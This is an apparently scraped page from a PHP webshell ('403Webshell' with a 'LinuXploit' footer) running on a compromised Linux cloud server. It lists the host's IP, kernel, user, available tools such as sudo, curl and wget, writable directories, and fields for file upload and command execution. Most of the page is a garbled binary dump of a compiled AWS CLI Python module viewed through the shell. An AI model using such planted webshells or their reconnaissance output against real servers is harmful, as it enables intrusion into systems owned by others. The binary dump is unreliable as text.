403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/awscli/autoprompt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/awscli/autoprompt/__pycache__/output.cpython-39.pyc
a

wA�i�@shddlZddlZddlZddlZddlZddlmZddlmZddl	m
Z
e�e�Z
Gdd�d�ZdS)�N)�ArgumentGenerator)�CliDriverFetcher)�
get_formatterc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�OutputGettercCs*t|�|_|jdj|_|j|_d|_dS)N�output)r�_cli_driver_fetcherZ	arg_table�choices�_output_formatsZsession�_session�_current_expression)�selfZdriver�r
�</usr/lib/python3.9/site-packages/awscli/autoprompt/output.py�__init__s
zOutputGetter.__init__cCs�|j�|j|j�}|r�t|dd�}|�|�r�d�dd�|j�d�D��}|�|�\}}|durb|S|�	|�\}}|dur||S|�
||||�SdS)N�output_shape�cSsg|]}|���qSr
)�
capitalize)�.0�partr
r
r�
<listcomp>*s�z+OutputGetter.get_output.<locals>.<listcomp>�-z	No output)rZget_operation_modelZlineageZcurrent_command�getattr�_shape_has_members�join�split�_get_output�
_get_query�_get_display)r�parsedZoperation_modelr�	operationr�
error_message�queryr
r
r�
get_output"s*�

���zOutputGetter.get_outputcCs|ot|dd�pt|dd�S)N�membersF�member)r)r�shaper
r
rr:s�zOutputGetter._shape_has_memberscCsfd}|jdkr$|j|jvr$|j|fS|j�d�}|j�d�p>|}||jvr^d|d�|j�f}||fS)Nrz0Bad value for --output: %s

Valid values are: %sz, )�
current_param�current_fragmentr	r
Zget_config_variable�
global_params�getr)rrr Zsession_outputrr
r
rr?s


��zOutputGetter._get_outputc
Cs�d}|jdkr|j}n|j�d�}|rHt�dd|�}t�dd|��d�}zt�|�|_	Wnptj
jy�}zd|t|�f}WYd}~nBd}~0tj
j
y�d|_	Yn ty�tjdd	d
�Yn0|j	|fS)Nr!z([\{\[])\d+?([\}\]])z\g<1>0\g<2>z([\{\[])[^\]^\}]*$r�.zBad value for --query: %s

%sz"Exception caught in OutputGetter: T)�exc_info)r&r'r(r)�re�sub�strip�jmespath�compiler�
exceptionsZ
ParseError�strZEmptyExpressionError�	Exception�LOG�debug)rrr r!�er
r
rrMs 
	$
zOutputGetter._get_queryc
CsPtj|dd�}tdd�}|�|�}t||�}t��}	||||	�|	���dd�S)NZoff)r!ZcolorT)Zuse_member_names�	z  )	�argparseZ	NamespacerZgenerate_skeletonr�io�StringIO�getvalue�replace)
rrrrr!�argsZargument_generatorZresponseZ	formatter�streamr
r
rrls


zOutputGetter._get_displayN)	�__name__�
__module__�__qualname__rr"rrrrr
r
r
rrsr)r8r9Zloggingr,r/Zbotocore.utilsrZ!awscli.autocomplete.local.fetcherrZawscli.formatterrZ	getLoggerr?r4rr
r
r
r�<module>
s


Youez - 2016 - github.com/yon3zu
LinuXploit